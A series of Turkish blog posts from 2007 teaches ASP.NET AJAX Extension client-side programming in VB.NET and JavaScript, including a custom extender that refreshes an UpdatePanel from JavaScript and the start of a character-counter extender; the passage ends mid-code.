Kodumuz içerisinde Array.remove ve Array.removeAt metodlarını kullandık. Array.remove'un parametrelerinden bahsetmiştik. Array.removeAt ise diziden çıkarılacak veri yerine çıkarılması istenen verinin dizi içerisindeki indeks numarasını alıyor. Söz konusu indeks numarasındaki değer diziden çıkartıldıktan sonra dizinin indeksleri tabi ki yenileniyor. 2 numaralı indeksteki veriyi sildiğinde artık dizinin boyu bir kısalmış olur ve bir numaralı indeksten itibaren tüm değerler bir üst indeks numarasına alınıyor.

ASP.NET AJAX Extension ile beraber gelen yeniliklerden dizilerle ilgili olan metodları inceledikten sonra serimizin bir sonraki yazısında farklı değişken tipleri ile ilgili gelen yeni metodlara ve daha fazlasına bakıyor olacağız.

Hepinize kolay gelsin.

Saturday, September 08, 2007 7:56:51 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX  | 
 Friday, September 07, 2007

ASP.NET AJAX Extension dediğimizde çoğunlukla aklımıza UpdatePanel, Timer gibi sunucu kontrolleri gelir. Oysa ASP.NET AJAX Extension ile beraber zengin bir JavaScript istemci kütüphanesi de geliyor. Bu makale serisi boyunca benim Client Extensions olarak adlandırdığım ASP.NET AJAX Extension'ın istemci taraflı özelliklerine bakacağız. Muhabbeti çok uzatmadan ilk konumuz ile maratonumuza başlayalım.

Sınıf, Üye ve Kütüphane Yapısı

Class, Member ve Library kelimeleri bizim ASP.NET sunucu taraflı programlamada özellikle nesne tabanlı programlama yaparken kullandığımız yapılar nedeniyle tanıdık. Bu bölümümüzde bu yapıları JavaScript tarafında nasıl kullanabileceğimizi inceleyeceğiz. Örneklerle konuya girmeden önce hatırlatmak istediğim bir nokta var. ASP.NET AJAX Extension ile beraber gelen JavaScript özelliklerini ve kütüphanelerini kullanabilmeniz için bu özellikleri kullanacağınız sayfaların başında birer ScriptManager yer alması şart. Sunucu kontrollerini kullanırken zaten ScriptManager bulundurmak zorunda olduğumuzu biliyoruz, aynı durum istemci taraflı işlevler için de geçerli.

Type.registerNamespace("Takim");

Örneğimize başlarken yukarıdaki kodumuz ile ilk hamlede Takim adinda bir kütüphane tanımlıyoruz. Bu şekilde bir kütüphane tanımladıkta sonra kütüphaneye istediğimiz sayıda farklı özellik ve fonksiyon tanımlayabiliriz. Bir takımımız için oyuncular tanımlayacağız.

Takim.Oyuncu = function(adi, soyadi, pozisyonu) {
this._adi = adi;
this._soyadi = soyadi;
this._pozisyonu = pozisyonu;
}

Tanımladığımız yeni fonksiyonu Takim kütüphanesi içerisinde Oyuncu sınıfına eşitliyoruz. Aslında Oyuncu diye bir sınıf yoktu, biz eşitleme işlemini yaparken tanımlanmış oldu. Oyuncu fonksiyonunu toplam üç adet parametresi var. Bu parametreler fonksiyonu ait iç değişkenlere aktarılıyor. this. ile başlayan değişkenleri VB.NET'teki private değişkenlere benzetebiliriz. ASP.NET AJAX kütüphanesi _ (alt çizgi) ile başlayan değişkenleri özel değişkenler olarak kabul edecek ve dışarıdan ulaşılmalarına izin vermeyecektir. Peki bu değişkenlere dışarıdan nasıl ulaşacağız?

Takim.Oyuncu.prototype = {

Adi: function() {
return this._adi;
},

Soyadi: function() {
return this._soyadi;
},

Detay: function() {
return this._adi + ', ' + this._soyadi + ', Pozisyonu:' + this._pozisyonu;
}
}

Oyuncu sınıfına ait üç farklı fonksiyon, bir anlamda property (özellik) ekliyoruz. Bu fonksiyonlar sınıf yapısının kendisine has değişkenlerinden değerleri alarak dışarıya sunuyorlar. İçerideki verileri dışa sunuş şekli konusunda istediğimiz gibi kod yazma şansımız var. Örneğin Detay fonksiyonu oyuncunun adini, soyadini alarak pozisyonunu da ekleyerek bir metin döndürüyor.

Tanımlamalarımızı bitirdikten sonra sıra geldi sınıfımızın kaydını yapmaya.

Takim.Oyuncu.registerClass('Takim.Oyuncu', null, Sys.IDisposable);

Bu kayıt sayesinde yarattığımız sınıf üzerinden oluşturacağımız değişkenler yine ASP.NET AJAX tarafından kontrol edilerek, gerektiğinde (dispose) yok edilecek. Tüm bu kodları eğer web sayfanızın direk içerisine yerleştireceksiniz yapmanız gereken ek bir işlem yok. Fakat eğerki sizde benim gibi ayrı bir JavaScript dosyası kullanacaksınız kesinlikle sonunda aşağıdaki satırın bulunması gerekiyor.

if (typeof(Sys) !== 'undefined') Sys.Application.notifyScriptLoaded();

Bu kod ile ScriptManager'ı JavaScript tanımlamalarımızın tamamlandığından haberdar ediyoruz. JavaScript kodumuzu aşağıdaki şekilde sonlandırıyoruz.

Type.registerNamespace("Takim");
 
Takim.Oyuncu = function(adi, soyadi, pozisyonu) {
this._adi = adi;
this._soyadi = soyadi;
this._pozisyonu = pozisyonu;
}
 
Takim.Oyuncu.prototype = {

Adi: function() {
return this._adi;
},

Soyadi: function() {
return this._soyadi;
},

Detay: function() {
return this._adi + ', ' + this._soyadi + ', Pozisyonu:' + this._pozisyonu;
}
}
Takim.Oyuncu.registerClass('Takim.Oyuncu', null, Sys.IDisposable);
 
if (typeof(Sys) !== 'undefined') Sys.Application.notifyScriptLoaded();

Son olarak hazırladığımız kütüphaneyi kullandığımız örnek bir sayfa ile bölümümüzü tamamlayalım.

<%@ Page Language="VB" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Untitled Page</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:ScriptManager ID="ScriptManager1" runat="server">
</asp:ScriptManager>
<script type="text/javascript" src="client.js"></script>
<script type="text/javascript" language="JavaScript">
function Yarat()
{
var Oyuncum = new Takim.Oyuncu(
'Oyuncu Adi', 'Oyuncu Soyadý', 'Pivot');
alert(Oyuncum.Detay());
return false;
}
</script>
 
<input id="Button1" onclick="Yarat()" type="button" value="TIKLA" /></div>
</form>
</body>
</html>

Tüm yazdığımız JavaScript kodlarını Client.js adında bir dosyaya kaydederek sayfamıza standard yollarla ekledikten sonra sayfa içi JavaScript kodları ile kullanabiliyoruz. Kodumuzda Oyuncu sınıfından bir Oyuncu türeterek adını, soyadını ve pozisyonunu da tanımladıktan sonra oyuncuya ait Detay metodunu çalıştırarak aldığımız metni bir uyarı kutusu ile gösteriyoruz.

Sıralar

Enumarations olarak bildiğimiz yapıları JavaScript tarafında da kullanma şansımız var. Bunun için ilk olarak gerekli değerleri içeren tanımlamalarımızı aşağıdaki şekilde yapmamız gerekiyor.

Type.registerNamespace("Sistem");
 
Sistem.Renk = function(){};

İlk olarak yukarıdaki şekilde Sistem adında bir kütüphane tanımlayarak içerisine boş bir Renk metodu ekliyoruz. Şimdi de Renk metodu içerisinde Enumaration tanımlıyor olacağız.

Sistem.Renk.prototype =
{
Mavi: 0x0000FF,
Yesil: 0x00FF00,
Beyaz: 0xFFFFFF
}

Örneğimizde şimdilik üç adet renk tanımlayalım, karşılığında değer olarak da renkler Hex karşılığını koyalım. Tanımlamalarımız bittiğine göre sıra geldi kütüphaneye kaydımızı yaptırıp dosyamızı kapatmaya.

Sistem.Renk.registerClass("Sistem.Renk");
 
if (typeof(Sys) !== 'undefined') Sys.Application.notifyScriptLoaded();

JavaScript dosyamızın tam hali aşağıdaki şekilde olmalı;

Type.registerNamespace("Sistem");
 
Sistem.Renk = function(){};
Sistem.Renk.prototype =
{
Mavi: 0x0000FF,
Yesil: 0x00FF00,
Beyaz: 0xFFFFFF
}
Sistem.Renk.registerClass("Sistem.Renk");
 
if (typeof(Sys) !== 'undefined') Sys.Application.notifyScriptLoaded();

Sayfamıza bu JavaScript dosyasını linklediğimizde aşağıdaki gibi kullanabiliyor olacağız.

<script>
function Boya(Renk)
{
document.body.bgColor = eval("Renkler." + Renk);
}
</script>

Yukarıdaki kodumuzda yer alan Boya adındaki fonksiyon kendisine verilen metin tipindeki renk adını alarak Renkler. metni ile birleştirerek eval komutu ile JavaScript olarak çalıştıracak. Böylece JavaScript kodu olarak Renkler.Mavi gibi kodlar ile önceden tanımladığımız Hex değerlerine ulaşabiliyor olacağız.

Bir sonraki yazımda AJAX Extension'a ait istemci taraflı özelliklere, JavaScript dizileri üzerinde çalışma yöntemleri ile devam ediyor olacağız.

Hepinize kolay gelsin.

Friday, September 07, 2007 6:52:30 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX  | 
 Tuesday, September 04, 2007

ASP.NET AJAX Extension 1.0 ile beraber gelen UpdatePanel sunucu kontrolü biz yazılım geliştiricilerin hayatını ciddi şekilde kolaylaştırdı. Fakat maalesef UpdatePanel'in çok büyük bir eksiği. UpdatePanel'in UpdateMode özelliği Conditinal olarak düzenlendiğinde sunucu tarafında UpdatePanel1.Update gibi bir kod ile herhangi bir UpdatePanel nesnesinin içeriğinin asenkron olarak yenilenmesini sağlayabilirken bu işlemin istemci tarafından tetiklenebilmesini sağlayacak hazır bir çözüm yok.

Makalemiz boyunca yukarıda bahsi geçen sorunu çözmek için nasıl bir teknik kullanabileceğimize ve işimizi kolaylaştırmak için bu teknikleri bizim için otomatik olarak kullanabilecek bir Control Toolkit Extender kontrolünü nasıl programlayabileceğimize değineceğiz.

UpdatePanel JavaScript Extender

Sorunumuzun çözüm tekniklerine girmeden önce gelin makalemiz boyunca hazırlayacağımız UpdatePanel JavaScript Extender kontrolünün kullanım şekline bakalım.

      <JS:UpdatePanelJavaScriptExtender TargetControlID="UpdatePanel1"
                                        ClientCommand="Guncelle"
                                        ID="UpdatePanelJavaScriptExtender1"
                                        runat="server">
      </JS:UpdatePanelJavaScriptExtender>

Yukarıdaki kodumuz içerisinde UpdatePanelJavaScriptExtender için tanımladığımız iki özellik yer alıyor. Bunlardan ilki TargetControlID özelliği. Sayfamızda JavaScript komutları ile Update etmek istediğimiz UpdatePanel'in ID bilgisini Extender kontrolümüzün TargetControlID özelliğine aktarmak durumundayız. İkinci aşamada ise karşımıza ClientCommand özelliği çıkıyor. JavaScript ile istemci tarafında UpdatePanel'i Update ederken kullanmak isteyeceğimiz JavaScript fonksiyonunun adını buraya parametre olarak vermemiz gerekiyor. Bizim örneğimizde UpdatePanel1'i yenilemek için sayfada Guncelle JavaScript fonksiyonunu kullanacağız. Kullanacağımız örneğe ait tam sayfa HTML kodu aşağıdaki şekilde;

<%@ Page Language="VB" AutoEventWireup="true" CodeFile="Default.aspx.vb" Inherits="_Default" %>
<%@ Register Assembly="UpdatePanelJavaScript" Namespace="UpdatePanelJavaScript.UpdatePanelJavaScript"
  TagPrefix="JS" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
  <title>Untitled Page</title>
</head>
<body>
  <form id="form1" runat="server">
    <asp:ScriptManager ID="ScriptManager1" runat="server" />
    <div>
      <asp:UpdatePanel ID="UpdatePanel1" runat="server">
        <ContentTemplate>
          <asp:Label ID="Label1" runat="server" Text="Label"></asp:Label>
        </ContentTemplate>
      </asp:UpdatePanel>
      <JS:UpdatePanelJavaScriptExtender TargetControlID="UpdatePanel1"
                                        ClientCommand="Guncelle"
                                        ID="UpdatePanelJavaScriptExtender1"
                                        runat="server">
      </JS:UpdatePanelJavaScriptExtender>
      <input id="Button1" type="button" value="button" onclick="Guncelle(1);" />
    </div>
  </form>
</body>
</html>

Gördüğünüz gibi sayfamızda, içerisinde bir Label bulunan bir UpdatePanel ve bir adet HTML Button bulunuyor. HTML buttonun OnClick özelliğine Guncelle JavaScript fonksiyonumuz yerleştirilmiş. Burada dikkat etmemiz gereken bir diğer nokta da aslında Guncelle fonksiyonuna bir de parametre vermiş olmamış. UpdatePanelJavaScriptExtender kontrolümüz sadece UpdatePanel'i yenilemek ile kalmayacak sunucu tarafına parametre de aktarabiliyor olacak. Şimdi de sunucu tarafında yazdığımız koda bakalım.

Partial Class _Default
    Inherits System.Web.UI.Page
 
    Protected Sub UpdatePanelJavaScriptExtender1_Update _
                            (ByVal Sender As Object, _
                            ByVal E As System.EventArgs, _
                            ByVal parameter As String) _
                            Handles UpdatePanelJavaScriptExtender1.Update
        Label1.Text = parameter
    End Sub
End Class

UpdatePanelJavaScriptExtender kontrolümüzün Update adında bir durumu (event) var. Bu durum biz istemci tarafında Guncelle fonksiyonumuzu çalıştırdığımızda gerçekleşiyor olacak. Update durumunun getirdiği parametrelere bakarsak arada parametre adında bir String değer bulunduğunu görebiliriz. Bu değer bizim istemci tarafında Guncelle fonksiyonuna verdiğimiz 1 değeri olacak. Kodumuz içerisinde gelen bu değeri Label1 içerisine yazıyoruz. Siz projelerinizde farklı işlemler yapabilir veya farklı dinamik parametreler, hatta JSON olarak serialize ederek her tür veriyi, objeyi gönderebilirsiniz.

Peki Nasıl?

Nasıl oluyor da normal şartlarda UpdatePanel'in JavaScript ile Update edilme özelliği yokken bizim UpdatePanelJavaScript Extender kontrolümüz bunu yapıyor? Bir düşünelim; biz UpdatePanel içerisine bir TextBox koysak ve AutoPostBack özelliğini True yapsak bu kontrol içerisine birşey yazıldığında UpdatePanel'in yenilenmesini ve TextBox içerisinde yazının da sunucu tarafına gönderilmesini sağlar mı? Kesinlikle. Bu durumda gidelim UpdatePanel içerisine ekranda görünmeyen, gizli bir TextBox ekleyelim. İstediğimiz zaman TextBox içine JavaScript ile bir metin yazıp (parametremizi) sonra da TextBox'ın içeriği değiştirildiğinde çalışan onchanged durumundaki JavaScript kodunu çalıştıralım. Sonra da gidip sunucu tarafında TextBox'ın içindeki veriyi alıp işlemlerimizi yapalım. İşte UpdatePanelJavaScript Extender kontrolümüzün yaptığı da aslında bu. Ama bunların hepsini bizden gizli olarak, bizi hiç uğraştırmadan yapıyor.

İş Başına

Kontrolümüzü kullanmak güzeldi, kolaydı ama bizim bu kontrolün nasıl hazırlandığını ve hazırlanma aşamasında karşılaşılabilecek olası sorunları da incelememiz şart. Yeni bir ASP.NET AJAX Control Project açarak kodlarımızı yazmaya başlayabiliriz. İlk olarak gelin kontrolümüz için yazdığımız JavaScript kodumuza yani kontrol projemizdeki JavaScript dosyasının içeriğine bakalım.

/**
 * @author Daron Yöndem
 * @web http://daron.yondem.com
 */
Type.registerNamespace('UpdatePanelJavaScript');
UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior = function(element) {
    UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior.initializeBase(this, [element]);
    //ClientCommand özelliğimiz için iç bir değişken tanımladık.
    this._ClientCommandValue = null;
}
UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior.prototype = {
    initialize : function() {
        UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior.callBaseMethod(this, 'initialize');
    },
    dispose : function() {
        UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior.callBaseMethod(this, 'dispose');
    },
    //ClientCommand özelliği için Set ve Get JavaScript metodlarını tanımladık.
     get_ClientCommand : function() {
        return this._ClientCommandValue;
    },
    set_ClientCommand : function(value) {
        this._ClientCommandValue = value;
    }
}
UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior.registerClass('UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior', AjaxControlToolkit.BehaviorBase);
//JavaScript fonksiyonu çalıştırıldığında burası çalışacak.
//Buradaki Update JavaScript metodu parametre olarak
//parametremizi ve gizli TextBox'ın ID sini alıyor.
UpdatePanelJavaScript.Update = function(HiddenBoxID, parameter) {
  //Gizli TextBox kontrolünü buluyoruz.
       var HiddenBox =$get(HiddenBoxID);
  //Parametre yoksa rastgele bir sayı döndürelim.
       if (typeof(parameter)=="undefined")
       {
             parameter = "RANDOMPARAM" + Math.random();
       };
       //Eğer bir önceki aktarılan parametre ile
       //şimdiki aynı ise parametremizin sonuna rastgele bir sayı ekliyoruz.
       if (HiddenBox.value == parameter)
       {
             parameter = parameter + "RANDOMPARAM" + Math.random();
       };
       //Parametremizi TextBox'ın içine koyuyoruz.
       HiddenBox.value = parameter;
       //TextBox'ın onchange özelliğinde JavaScript kodunu alıyoruz ve temizliyoruz.
       var MyCommand = String(HiddenBox.onchange).replace('function anonymous()\n{\n','');
       MyCommand = MyCommand.replace('\n}','');
       MyCommand = MyCommand.replace('function onchange(event) {\njavascript:\n','');
       //onchange durumundaki JavaScript kodunu çalıştırıyoruz.
       eval(MyCommand);
};

Olabildiğince satır arası yorumlar ile kodumuzda neler yaptığımıza anlatmaya çalıştım. Özellikle birkaç önemli noktaya değinmekte fayda var. JavaScript kodlarımız içerisinde UpdatePanelJavaScript Extender kontrolümüz için Update adında bir fonksiyon tanımlıyoruz. Bu fonksiyon içerisinde direk elimizdeki TextBox kontrolüne ulaşamıyoruz. Eğer sayfamızda birden çok UpdatePanel JavaScript Extender kontrolü varsa yukarıdaki JavaScript kodu sayfaya sadece bir defa ekleniyor. Yani yukarıdaki kodun değişkenlere bağımlı olması şart. Bu durumda biz de TextBox kontrolümüzün adını Update JavaScript fonksiyonumuza parametre olarak vermeye karar verdik. Söz konusu Update fonksiyonunu kullanacak başka bir JavaScript fonksiyonu oluşturmayı ve TextBox kontrolümüzü UpdatePanel'in içerisine eklemeyi sunucu tarafındaki kodumuzla bir sonraki aşamada yapıyor olacağız.

JavaScript kodumuz ayrıca kendisine verilen parametrenin bir önceki parametre ile yani TextBox kontrolünün içeriği ile aynı olup olmadığını da kontrol ediyor. Eğer aynı ise sonuna rastgele bir sayı ekliyor, bu rastgele sayıyı da sunucu tarafında siliyor olacağız. Neden böyle birşey yapmaya ihtiyaç duyduğumuza gelince; maalesef TextBox'ın içeriği değişmez ise onchange durumunu çalıştıramıyoruz. O nedenle aynı parametre gönderildiğinde de bir Update sağlayabilmek için sonuna rastgele bir sayı ekleyerek değiştirmiş gibi davranmamız gerekiyor. Son olarak kodumuzla gizli TextBox'ımızın onchange JavaScript kodunu alarak ve temizleyerek kendimiz çalıştırıyoruz.

Şimdi geçelim sunucu tarafındaki Extender kodumuza.

Imports System
Imports System.ComponentModel
Imports System.Web.UI
Imports System.Web.UI.WebControls
Imports AjaxControlToolkit
 
#Region "Assembly Resource Attribute"
<Assembly: System.Web.UI.WebResource("UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior.js", "text/javascript")>
#End Region
 
Namespace UpdatePanelJavaScript
 
    <Description("Creates JavaScript interface simulating UpdatePanel.Update()")> _
    <Designer(GetType(UpdatePanelJavaScriptDesigner))> _
    <ClientScriptResource("UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior", "UpdatePanelJavaScript.UpdatePanelJavaScriptBehavior.js")> _
    <TargetControlType(GetType(UpdatePanel))> _
    Public Class UpdatePanelJavaScriptExtender
        Inherits ExtenderControlBase
 
        'Durumları ile beraber UpdatePanel içerisine ekleyeceğimiz
        'TextBox'ı yaratıyoruz.
        WithEvents MyTextBox As New System.Web.UI.WebControls.TextBox
        'Extender kontrolümüze ait Update durumunu tanımlıyoruz.
        Public Event Update(ByVal Sender As Object, ByVal E As EventArgs, ByVal parameter As String)
 
        'ClientCommand özelliğine ait Get ve Set metodları.
        <ExtenderControlProperty()> _
        <DefaultValue("Update")> _
        Public Property ClientCommand() As String
            Get
                Return GetPropertyValue("ClientCommand", "")
            End Get
            Set(ByVal value As String)
                SetPropertyValue("ClientCommand", value)
            End Set
        End Property
 
        'Extender Render edildiğinde ilk çalıştırılan kodlar.
        Private Sub UpdatePanelJavaScriptExtender_Init(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Init
            'TextBox AutoPostBack olsun.
            MyTextBox.AutoPostBack = True
            'TextBox sayfada görünmez olsun
            MyTextBox.Style.Add("visibility", "hidden")
            MyTextBox.Style.Add("display", "none")
            'Hedef UpdatePanel'i bulalım.
            Dim TargetPanel As System.Web.UI.UpdatePanel = Me.TargetControl
            'TextBox'ı ekleyelim.
            TargetPanel.ContentTemplateContainer.Controls.Add(MyTextBox)
            'OnClientCommand özelliğine verilen JavaScript fonksiyonunu yaratalım.
            Dim script As New System.Web.UI.HtmlControls.HtmlGenericControl("script")
            script.Attributes.Add("type", "text/javascript")
            script.Attributes.Add("language", "javascript")
            Dim builder As New System.Text.StringBuilder
            builder.Append("function ")
            builder.Append(Me.ClientCommand)
            builder.AppendLine("(parameter) {")
            builder.Append("UpdatePanelJavaScript.Update('")
            builder.Append(MyTextBox.ClientID)
            builder.AppendLine("', parameter);")
            builder.AppendLine("};")
            script.InnerHtml = builder.ToString
            'JavaScript fonksiyonumuzu Extender'a ekleyelim.
            Me.Controls.Add(script)
        End Sub
 
        'UpdatePanel içerisine eklediğimiz TextBox'a ait TextChanged durumunu kontrol ediyoruz..

        Sub Control_TextChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyTextBox.TextChanged
            Dim SenderControl As System.Web.UI.WebControls.TextBox = sender
         'RANDOMPARAM'ın varlığını kontrol ederek RaiseEvent ile kendi Update durumumuzu çalıştırıyoruz.
            If SenderControl.Text.IndexOf("RANDOMPARAM") <> -1 Then
                If SenderControl.Text.IndexOf("RANDOMPARAM") = 0 Then
                    RaiseEvent Update(Me, e, "")
                Else
                    RaiseEvent Update(Me, e, SenderControl.Text.Substring(0, SenderControl.Text.IndexOf("RANDOMPARAM")))
                End If
            Else
                RaiseEvent Update(Me, e, SenderControl.Text)
            End If
        End Sub
    End Class
 
End Namespace

Yukarıdaki kod içerisinde önemli noktalardan birincisi UpdatePanel içerisine ekleyeceğimiz TextBox kontrolümüzü WithEvents ile yaratıyor olmak. Böylece söz konusu TextBox'a ait TextChanged durumunu Extender içerisinde kontrol edebileceğiz ve kendi Extender'ımızın Update durumunu çalıştırabileceğiz. İkincisi ise kendi Update durumumuzu (event) tanımlıyor olmamız.

Extender ilk olarak web sayfasına eklendiğinde ve sayfa ilk olarak istemcide çalıştırıldığında Extender'a ait Inıt durumu çalışacaktır. Biz Inıt durumunda kendi TextBox'ımızı CSS özellikleri ile görünmez yaparak AutoPostBack özelliğini de ayarladıktan sonra hedef UpdatePanel içerisine ekliyoruz. Sonraki adımda da Extender kontrolüne verilen ClientCommand özelliğine göre Extender JavaScript kodlarımızdaki Update metodunu kullanacak sayfa içi JavaScript kodunu yaratmalıyız. Bunun için de bir StringBuilder ve HTMLGenericControl kullandık. Son olarak JavaScript kodumuzu Extender'a ekledik.

Gelelim TextBox'a ait TextChanged durumuna. TextBox içerisine JavaScript ile yerleştirilen metni kontrol etmemiz gerekiyor. Eğer RANDOMPARAM var ise silmemiz gerek. Bu işlemleri de tamamladıktan sonra RaiseEvent ile kendi Update durumumuzu çalıştırıyoruz. Böylece Extender'ı kullananlar Update durumu üzerinde direk parametreyi alabilecekler.

Altenatif Teknikler

Yukarıdaki kontrolü kullanmak veya kontrolün işleyiş mantığına uymanın haricinde farklı teknikler de söz konusu. Örneğin aşağıdaki kodu kullanarak herhangi bir HTML objesinden direk başka bir .NET objesinin PostBack JavaScript kodunu alarak çalıştırabilirsiniz.

<input id="Button1" type="button" value="button" onclick="<%= ClientScript.GetPostBackEventReference(new PostBackOptions(TextBox1, "")) %>" />

Tabi yukarıdaki kod içerisinde TextBox'ın içeriğine bir parametre koyma şansınız olmayacaktır. Farklı bir şekilde düzeneyerek böyle bir özellik eklemek de mümkün. Extender kontrolümüzün güzel yanı bize tüm bu işlevleri kolayca kullanabileceğimiz istediğimiz isimde JavaScript fonksiyonları ve sunucu taraflı durum kontrolü sağlaması.

Hepinize kolay gelsin.

UpdatePanel JavaScript Extender Kaynak Kodu - 04092007_1.zip (493,15 KB)

Tuesday, September 04, 2007 12:15:19 PM (GTB Standard Time, UTC+02:00)  #    Comments [0]   AJAX  | 
 Friday, August 31, 2007

ASP.NET AJAX Extension kullandığımız web sitelerinde bize büyük kolaylık sağlayan AJAX Control Toolkit içerisindeki kontroller gibi Extender kontrolleri geliştirmek isterseniz tek yapmanız gereken okumaya devam etmek. :) Peki bu gibi kontrolleri hazırlayabilmek için nelere ihtiyacımız olacak? Eğer web sitesi geliştirmek için Visual Web Developer Express kullanıyorsanız maalesef ek olarak Visual Basic 2005 Express Edition veya Visual C# 2005 Express Edition'ın da bilgisayarınızda yüklü olması gerekiyor. Kontrolümüzü geliştirme işini maalesef Visual Web Developer içerisinde yapamıyoruz. Eğer Visual Studio 2005 kullanıyorsanız herhangi bir sorun yaşamazsınız. Visual Studio içerisinde yaratmış olduğunuz herhangi bir web sitesini açarak File / Add / New Project menüsünden ASP.NET AJAX Control Project seçeneğini seçerek var olan Solution paketine extender kontrol projenizi ekleyebilirsiniz. Eğer Express sürümü geliştiricileri kullanıyorsanız kontrolü geliştirmek ve kullanmak için yukarıda bahsettiğim gibi farklı araçları kullanmanız gerekiyor. Ben makale boyunca Visual Studio 2005 kullanacağım.

AJAX Control Project yaratıyoruz...
Kendi AJAX Control projemizi yaratıyoruz.

Yaratacağımız örnek Extender kontrolünün adı SayacDugme olacak. Kontrolün amacı kendisine atanan bir metin kutusuna yazı yazıldıkça yazının uzunluğunu yine kendisine atanan bir düğmenin metnine eklemek. Genelde bu tarz uygulamalar web sitelerinde iletişim formlarında görülebiliyor. Aslına bakarsanız en uygun örnek cep telefonlarımızda yazdığımız SMSler. Telefonumuzda yazı yazdıkça kaç karakter yazdığımız bir köşede gösterilir. Bizim de oluşturacağımız Extender karakter sayısını alarak kendisine atanan bir düğmenin üzerine yazacak.

SayacDugme Extender projemizi Solution Explorer içerisinde görebiliyoruz.
SayacDugme Extender projemizi Solution Explorer içerisinde görebiliyoruz.

Extender kontrolümüz yaratıldığında oluşturulan dosyalar arasından ilk olarak SayacDugmeExtender.vb dosyası üzerinde çalışıyor olacağız. Dosya içerisinde hazır olarak gelen TargetControlType özelliğinin kontrol tipini aşağıdaki şekilde TextBox olarak değiştirmemiz gerekiyor. Her bir Extender kontrolünün otomatik olarak bir TargetControlID özelliği oluyor. Bizim Extender kontrolümüzde bu özelliğe atanacak kontrolün TextBox tipinde olması şart.

    <TargetControlType(GetType(TextBox))> _

Sıra geldi TargetControlID gibi ek bir parametre daha eklemeye. Extender kontrolümüzün bir metin kutusundaki harf sayısını kendisine atanan bir düğme üzerine yazacağından bahsetmiştik. Bu durumda söz konusu düğmeye ait ID bilgisinin de bir şekilde Extender'a iletilmiş olması gerekiyor.

        <ExtenderControlProperty()> _
        <DefaultValue("")> _       
        <IDReferenceProperty(GetType(Button))> _

        Public Property TargetButtonID() As String
            Get
                Return GetPropertyValue("TargetButtonID", "")
            End Get
            Set(ByVal value As String)
                SetPropertyValue("TargetButtonID", value)
            End Set
        End Property

Yukarıda da inceleyebileceğiniz üzere kontrolümüze ait ek özellikleri bir Property olarak tanımlıyoruz. Yapı az çok Class yapılarında kullandığımız Property'ler ile aynı. Örneğimizde Property adını TargetButtonID olarak düzenledik. Bu şekilde Property tanımlarken dikkat etmemiz gereken ufak birkaç nokta var. Eğer tanımlanan Property için gelecek değer başka bir kontrolün ID bilgisi ise üstteki IDReferenceProperty tanımlaması ile gelecek olan kontrolün tipini de belirleyebiliyoruz. Ayrıca her bir Property için ExtenderControlProperty özelliğinin de ayarlanması şart. İsterseniz Property ler için varsayılan değerleri de DefaultValue ile tanımlayabilirsiniz. Kodlar içerisinde kullandığımız GetPropertyValue ve SetPropertyValue metodları ise ileriki aşamalarda JavaScript tarafında tanımlayacağımız metodları kullanacak.

Kontrolümüze ek bir parametre daha ekliyor olacağız. Bu parametre sadece bir metin alacak. Extender kontrolümüz bir düğmenin üzerine toplam metin uzunluğunu yazarken ayrıca düğmenin adını da yazmalı. Örneğin "Gönder (56)" gibi bir yazının düğmenin üzerinde olması mantıklı olur. Bu durumda düğmenin üzerinde esas yazacak olan "Gönder" gibi bir metni de bizim kullanıcıdan alıyor olmamız gerekir.

        <ExtenderControlProperty()> _
        <DefaultValue("")> _
        Public Property Metin() As String
            Get
                Return GetPropertyValue("Metin", "")
            End Get
            Set(ByVal value As String)
                SetPropertyValue("Metin", value)
            End Set
        End Property

Bir önceki adımda olduğu gibi burada da bir Property tanımladık. Bu Property'nin tek farkı bir kontrolün ID bilgisini taşımayacağı için IDReferenceProperty özelliğine sahip olmaması. Sunucu tarafındaki kodumuzu tamamladık. SayacDugmeExtender.vb dosyamızın son hali aşağıdaki şekilde.

Imports System
Imports System.ComponentModel
Imports System.Web.UI
Imports System.Web.UI.WebControls
Imports AjaxControlToolkit
 
#Region "Assembly Resource Attribute"
<Assembly: System.Web.UI.WebResource("SayacDugme.SayacDugmeBehavior.js", "text/javascript")>
#End Region
 
Namespace SayacDugme
 
    <Designer(GetType(SayacDugmeDesigner))> _
    <ClientScriptResource("SayacDugme.SayacDugmeBehavior", "SayacDugme.SayacDugmeBehavior.js")> _
    <TargetControlType(GetType(TextBox))> _
    Public Class SayacDugmeExtender
        Inherits ExtenderControlBase
        
        <ExtenderControlProperty()> _
        <DefaultValue("")> _
        <IDReferenceProperty(GetType(Button))> _
        Public Property TargetButtonID() As String
            Get
                Return GetPropertyValue("TargetButtonID", "")
            End Get
            Set(ByVal value As String)
                SetPropertyValue("TargetButtonID", value)
            End Set
        End Property
 
        <ExtenderControlProperty()> _
        <DefaultValue("")> _
        Public Property Metin() As String
            Get
                Return GetPropertyValue("Metin", "")
            End Get
            Set(ByVal value As String)
                SetPropertyValue("Metin", value)
            End Set
        End Property
 
    End Class
 
End Namespace

Sıra geldi istemci tarafında çalışacak olan JavaScript kodlarımızı yazmaya. Tüm JavaScript kodlarımızı projemize ait SayacDugmeBehavior.js dosyası içerisine yazıyor olacağız. Sunucu tarafında tanımladığımız Property'ler ile ilgili fonksiyonları ve değişkenleri JavaScript tarafında da tanımlamamız gerekiyor. İlk olarak önümüze gelen JavaScript dosyasında aşağıdaki şekilde değişkenlerimizi tanımlayalım.

SayacDugme.SayacDugmeBehavior = function(element) {
